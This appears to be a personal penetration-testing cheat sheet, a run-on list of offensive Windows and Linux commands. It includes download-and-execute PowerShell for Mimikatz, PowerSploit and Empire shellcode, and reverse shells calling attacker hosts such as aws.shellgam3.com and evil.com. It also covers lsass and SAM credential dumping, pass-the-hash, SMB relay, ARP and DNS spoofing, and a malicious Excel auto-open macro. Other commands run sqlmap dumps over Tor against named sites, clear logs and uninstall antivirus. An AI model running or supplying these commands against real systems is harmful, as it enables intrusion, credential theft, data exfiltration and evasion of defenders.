powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-UserHunter powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Get-NetLocalGroup powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-EnumerateLocalAdmin powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-StealthUserHunter powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Find-LocalAdminAccess powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-FileFinder powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/PowerShell/BloodHound.ps1'); BloodHound: powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/PowerShell/BloodHound.ps1');Invoke-Bloodhound -CSVFolder C:\Temp --- powershell_shell: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); Get-Process lsass | Out-Minidump -DumpFilePath c:\temp meterpreter > download c:\\Windows\\Temp\\lsass_632.dmp python -m SimpleHTTPServer 9000 sekurlsa::Minidump lsassdump.dmp sekurlsa::logonPasswords recon and finding other networks: fping 192.168.0.0/16 | grep -a "alive" --- powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1'); powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.22.45:8080/') reg.exe save hklm\sam c:\temp\sam.save reg.exe save hklm\security c:\temp\security.save reg.exe save hklm\system c:\temp\system.save root@kali:~# nmap 190.57.29.177 -v -Pn -sT -A -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html" BDFproxy: veil option - #50 echo 1 > /proc/sys/net/ipv4/ip_forward ./bdf_proxy.py iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.22.75; set LPORT 4444; set exitonsession false; exploit -j" arpspoof -i eth0 -t target.ip router.ip arpspoof -i eth0 -t router.ip target.ip msfconsole -r bdfproxy_msf_resource.rc nmap -A -oG - 190.57.29.0/24 -p 445 --osscan-guess | grep -a "Windows Server" IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1"); Invoke-Inveigh -ConsoleOutput Y -NBNS Y -ConsoleStatus 1 procdump -ma lsass.exe lsass.dmp powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’); Get-NetUser -AdminCount | Select name,whencreated,pwdlastset,lastlogon *** sudo msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set LPORT 443; set exitonsession false; exploit -j" powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost aws.shellgam3.com -Lport 443" rubber ducky: java -jar duckencode.jar -i "reverse shell.txt" smbrelay: msfconsole -x "use exploit/multi/script/web_delivery; set target 2; set URIPATH /; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.22.62; set exitonsession false; exploit -j" ./responder.py -I eth0 ./smbrelayx.py -h 192.168.22.151 -c "powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.22.119:8080/')" "powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" pth-winexe -U gp-wks-conf2/Administrator%aad3b435b51404eeaad3b435b51404ee:6154da6030a803632a63b1a0e1a3aeb3 //192.168.22.46 cmd nbtscan -r 192.168.22.0/24 fping -g -d 192.168.23.0/24 2>/dev/null | grep alive capture ntlm handshake (snarf + responder) crack password from handshake (john) password spray to find local admin (metasploit) establish shells with local admin boxes (metasploit) snarf + responder: nodejs snarf.js 192.168.22.62 -d 192.168.22.41 john snarf.pot --rules=all --wordlist=/media/sf_Shared/wordlists/guidant.txt responder -I eth0 find local admin (post exploit): use auxiliary/scanner/smb/smb_login set smbdomain set smbuser set smbpass set rhosts 0.0.0.0/24 Shell: msfconsole: use exploit/windows/smb/psexec msfconsole: set payload windows/meterpreter/reverse_https run post/windows/gather/smart_hashdump dumping creds/hashes: run post/windows/gather/cachedump run post/windows/gather/smart_hashdump load mimikatz > wdigest cracking hashes: john --format=mscash2 --wordlist=/media/sf_Shared/wordlists/rockyou.txt --rules=all gp_hashes.txt john snarf.pot --rules=all --wordlist=/media/sf_Shared/wordlists/guidant.txt password spraying: http://www.blackhillsinfosec.com/?p=4989 @FOR /F %s in (systems.txt) DO @net use \\%s\C$ /.\Administrator AdminPass 1>NUL 2>&1 && @echo %s>>admin_access.txt && @net use /delete \\%s\C$ > NUL rpcclient: http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html find local DC first, then -> rpcclient -U "" -N commands: ? xfreerdp /u:jwelkley /p:GoBears1 /d:gp /v:192.168.2.60 /sec:rdp metasploit basics: gain access getuid getpid sysinfo run PS migrate process Reverse Meterpreter Shell: ubuntu@ip-172-31-18-189:/opt/metasploit-framework$ ./msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set PORT 8443; run" powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost aws.shellgam3.com -Lport 8443" Dump wireless PSKs: (netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)} | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize DNS subdomain enumeration: dnsrecon -d wabt.com -D /media/sf_Shared/wordlists/SecLists/Discovery/DNS/deepmagic.com_top50kprefixes.txt -t brt -f -n 8.8.8.8 --iw | grep -v 123.123.123.123 ./proxychains4 nmap -p 53 -v -Pn -sS 8.8.8.8 -e eth0 snarf + responder: nodejs snarf.js 192.168.22.62 -d 192.168.22.41 john snarf.pot --rules=all --wordlist=/media/sf_Shared/wordlists/guidant.txt responder -I eth0 MiTM: netstat -nr echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t target.ip router.ip arpspoof -i eth0 -t router.ip target.ip MiTM via mitmf: mitmf -i eth0 --arp --spoof --hsts --gateway=10.0.0.1 --target=192.168.0.1 Beef: ./beef mitmf -i eth0 --arp --spoof --hsts --gateway=192.168.0.1 --target=192.168.0.2 --inject --js-url http://192.168.0.5:300/hook.js DNS subdomain brute forcing: dnsrecon -d wpcu.coop -D /media/sf_Shared/wordlists/SecLists/Discovery/DNS/deepmagic.com_top50kprefixes.txt -t brt -f -n 8.8.8.8 --iw | grep -v 123.123.123.123 Certificate injection: mitm + mitmproxy -T --host PtH with Metasploit: Kali: 173.18.131.94 Victim: 173.18.131.111 root@kali:/usr/bin# ./msfconsole msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(psexec) > set lhost 173.18.131.94 lhost => 173.18.131.94 msf exploit(psexec) > set rhost 173.18.131.111 rhost => 173.18.131.111 msf exploit(psexec) > set smbpass 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4 smbpass => 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4 msf exploit(psexec) > set smbuser administrator smbuser => administrator msf exploit(psexec) > set smbdomain test smbdomain => test msf exploit(psexec) > exploit smb relay attack: Metasploit box: 172.17.130.81 Domain Admin Workstation: 172.17.130.33 Target Server: 172.17.130.75 msfconsole -x “use windows/smb/smb_relay; set payload windows/meterpreter/reverse_tcp; set LHOST 172.17.130.81;set SMBHOST 172.17.130.75; set SRVHOST 172.17.130.81; run” -embed in email message: spoofing email via telnet: root@kali:~# telnet mx1.mail.icloud.com 25 Trying 17.158.8.67… Connected to mx1.mail.icloud.com. Escape character is ‘^]’. 220 nk11p00mm-smtpin001.mac.com — Server ESMTP (Oracle Communications Messaging Server 7.0.5.36.0 64bit (built Sep 8 2015)) helo whatever.com 250 nk11p00mm-smtpin001.mac.com OK, 50-197-245-29-static.hfc.comcastbusiness.net [XX.197.XXX.29]. mail from:bob@icloud.com 250 2.5.0 Address Ok. rcpt to:nickvangilder@icloud.com 250 2.1.5 nickvangilder@icloud.com OK. data 354 Enter mail, end with a single “.”. To:Nick VanGilder From:Bob Dole Reply-To:Bob Dole Subject:Test This is a test . 250 2.5.0 Ok. check public ip address: proxychains curl ipecho.net/plain powershell import-module activedirectory get-aduser -filter {PasswordNeverExpires -eq $True -AND Enabled -eq $True} -properties PasswordLastSet | Sort PasswordLastSet | Select Distinguishedname,PasswordLastSet on linux box: nc -lvp 8443 powershell -> $client = New-Object System.Net.Sockets.TCPClient("aws.shellgam3.com",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -nop -exec bypass -file payload.ps1 one-liner: powershell -Command "& {$client = New-Object System.Net.Sockets.TCPClient('192.168.22.63',8443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}" To enumerate all domain controllers: nltest /dclist:domain.local Enumerate local admins: net localgroup Administrators Get-ADDefaultDomainPasswordPolicy net group "domain admins" /domain Fetch a file via HTTP (wget in PowerShell): PS C:\> (New-Object System.Net.WebClient).DownloadFile("http ://10.10.10.10/nc.exe","nc.exe") wmic computersystem get model,name,manufacturer,systemtype File injection: MiTM + iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 ./mitmproxy -T -s “iframe_injector.py http://www.website.com/files/malicious_file.xlsm; cmdkey.exe /add:MACHINE_NAME_HERE /user:MACHINE_NAME_HERE\Administrator /pass:PASSWORD_HERE cmdkey.exe /delete:MACHINE_NAME_HERE https://download.sysinternals.com/files/PSTools.zip copy file to target psexec \\target -u username -p password cmd.exe start c:\path\payload.vbs Enable RDP: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f Disable RDP: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f web app recon and scanning: proxychains, proxychains4, torify, tor-resolve service tor start service tor status dont forget to modify /etc/resolv.conf = 127.0.0.1 protect against accidental discolsure = sudo iptables -A OUTPUT --dest -j DROP proxychains nmap -v -sN -n 207.223.121.128 -PN nmap ip.adddress -v -Pn -sT nmap -Sv -T4 hostname.com dirb https://www.example.com grabber --url www.site.com --spider 1 --sql uniscan -d -u test.com /usr/share/zaproxy# java -DsocksProxyHost=127.0.0.1 -DsocksProxyPort=9050 -jar zap-2.4.1.jar nikto -h http://www.site.com whatweb test.com w3af_console wpscan sqlmap --tor --tor-type=SOCKS5 --check-tor --random-agent --risk=3 --level=5 --threads=10 --dbs --dump -D Database_name -T table_name -u http://xxxxx.com/board/board.php?id=6 sqlmap --tor --tor-type=SOCKS5 --check-tor --random-agent --dbs --threads=10 --crawl=2 --risk=3 --level=5 --dump -u http://host.com/board.php?id=6 sqlmap --tor --tor-type=SOCKS5 --check-tor --random-agent --dbs --dump -u https://test.com --sql-shell sqlmap --tor --tor-type=socks5 --check-tor --random-agent --keep-alive --forms --crawl=2 --risk=3 --threads=4 --batch -f --dbs -u https://review.logicforce.com sqlmap --random-agent --keep-alive --level=5 --forms --crawl=2 --risk=3 --threads=10 --batch -f --dump --dbs -u https://xxxxxxx.com sqlmap --random-agent --keep-alive --forms --crawl=2 --risk=3 --threads=10 --level=5 --batch -f --dbs -u http://human.firstcommunitymortgage.com/fha-loans/?gcf_captcha Look for HTTP PUT: curl -X OPTIONS -v http://200.x.x.x/test/ UPLOAD FILE: curl --upload-file /root/Desktop/reverse_shell.php -v --url http://172.17.130.93/test/rshell.php -0 --http1.0 curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d @"/tmp/some-file.xml" http://www.victim.com/newpage curl -X PUT -d "text or data to put" http://www.victim.com/destination_page curl -i -H "Accept: application/json" -X PUT -d "text or data to put" http://victim.com/new_page first put this into cmd.php: THEN, for shell access: this one worked: put this in filename.sh http://172.17.130.93/test/cmd.php?cmd=filename.sh $ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done Macro enabled xlsm: ubuntu@ip-172-31-18-189:/opt/metasploit-framework$ ./msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set PORT 8443; run" Private Sub Auto_Open() strCommand = "powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1 ');invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.x.x.123 -Lport 8443" Set WshShell = CreateObject("WScript.Shell") Set WshShellExec = WshShell.Exec(strCommand) End Sub DNS Spoofing: #IP Forwarding echo 1 > /proc/sys/net/ipv4/ip_forward #DNS Port Redirection iptables -A INPUT -i eth0 -p udp --dport 53 -j ACCEPT iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53 #ARP Cache Poisioning / MitM arpspoof -i eth0 -t victimIP routerIP arpspoof -i eth0 -t routerIP victimIP #DNS Spoofing dnschef -i 172.17.130.60 --fakeip=52.37.49.217 --fakedomains=test.com #172.17.130.60 = my internal Kali box #Fake IP = where you want to redirect to #Fake Domains = name of domain to redirect View your current user: whoami View information about the current user: net user myuser(for a local user) net user myuser /domain (for a domain user) View the local groups: net localgroup View the local administrators: net localgroup Administrators Add a new user: net user myuser mypass /add Add a user in the local Administrators group: net localgroup Administrators myuser /add View the domain name of current machine: net config workstation net config server View the name of the domain controller: reg query "HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\ CurrentVersion\Group Policy\ History" /v DCName View the list of domain admins: net group "Domain Admins" /domain View the list of started services (search for antivirus): net start sc query Stop a service: net stop "Symantec Endpoint Protection" View the list of started processes and the owner: tasklist /v Kill a process by its name taskkill /F /IM "cmd.exe" Abort a shutdown/restart countdown shutdown /a Create php backdoor/shell echo ^ > C:\inetpub\wwwroot\s.php View established connections of current machine: netstat -a -n -p tcp | find "ESTAB" View open ports of current machine: netstat -a -n -p tcp | find "LISTEN" netstat -a -n -p udp View network configuration: netsh interface ip show addresses netsh interface ip show route netsh interface ip show neighbors View current network shares: net share Mount a remote share with the rights of the current user: net use K: \\10.1.2.3\C$ dir K: Enable Remote Desktop: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f Blind Files %SYSTEMDRIVE%\boot.ini A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. %WINDIR%\win.ini This is another file to look for if boot.ini isn’t there or coming back, which is some times the case. %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\RegBack\system System whoami /all set fsutil fsinfo drives reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """" ipconfig /all ipconfig /displaydns netstat -nabo netstat -s -p [tcp|udp|icpm|ip] netstat -r netstat -na | findstr :445 netstat -nao | findstr LISTENING netstat -nao | findstr LISTENING netstat -na | findstr LISTENING netsh diag show all net view net view /domain net view /domain:otherdomain net user %USERNAME% /domain net user /domain net accounts net accounts /domain net localgroup administrators net localgroup administrators /domain net group “Domain Admins” /domain net group “Enterprise Admins” /domain net group “Domain Controllers” /domain nbtstat -a [ip here] net share net session | find / “\\” arp -a route print browstat (Not working on XP) netsh wlan show profiles shows all saved wireless profiles. You may then export the info for those profiles with the command below netsh wlan export profile folder=. key=clear netsh wlan [start|stop] hostednetwork netsh wlan set hostednetwork ssid= key= keyUsage=persistent|temporary netsh wlan set hostednetwork mode=[allow|disallow] wmic ntdomain list Retrieve information about Domain and Domain Controller gpresult /z sc qc sc query sc queryex type %WINDIR%\System32\drivers\etc\hosts echo %COMSPEC% c:\windows\system32\gathernetworkinfo.vbs tree C:\ /f /a > C:\output_of_tree.txt dir /a dir /b /s [Directory or Filename] dir \ /s /b | find /I “searchstring” %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts unattend.txt, unattend.xml, sysprep.inf net share \\computername tasklist /V /S computername qwinsta /SERVER:computername qprocess /SERVER:computername * net use \\computername net use \\computername /user:DOMAIN\username password reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f net time \\computername (Shows the time of target computer) dir \\computername\share_or_admin_share\ (dir list a remote directory) tasklist /V /S computername Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount WMI wmic bios wmic qfe qfe get hotfixid wmic startupwmic service wmic process get caption,executablepath,commandline wmic process call create “process_name” (executes a program) wmic process where name=”process_name” call terminate (terminates program) wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information) wmic useraccount (usernames, sid, and various security related goodies) wmic useraccount get /ALL wmic share get /ALL (you can use ? for gets help ! ) wmic startup list full (this can be a huge list!!!) wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target) reg save HKLM\Security security.hive (Save security hive to a file) reg save HKLM\System system.hive (Save system hive to a file) reg save HKLM\SAM sam.hive (Save sam to a file)= reg add [\\TargetIPaddr\] [RegDomain][ \Key ] reg export [RegDomain]\[Key] [FileName] reg import [FileName ] reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!] (you can to add /s for recurse all values ) Deleting Logs wevtutil el (list logs) wevtutil cl (Clear specific lowbadming) del %WINDIR%\*.log /a /s /q /f Uninstalling Software “AntiVirus” (Non interactive) wmic product get name /value (this gets software names) wmic product where name="XXX" call uninstall /nointeractive (this uninstalls software) # Other (to be sorted) pkgmgr usefull /iu :”Package” pkgmgr usefull /iu :”TelnetServer” (Install Telnet Service ...) pkgmgr /iu:”TelnetClient” (Client ) rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-) wscript.exe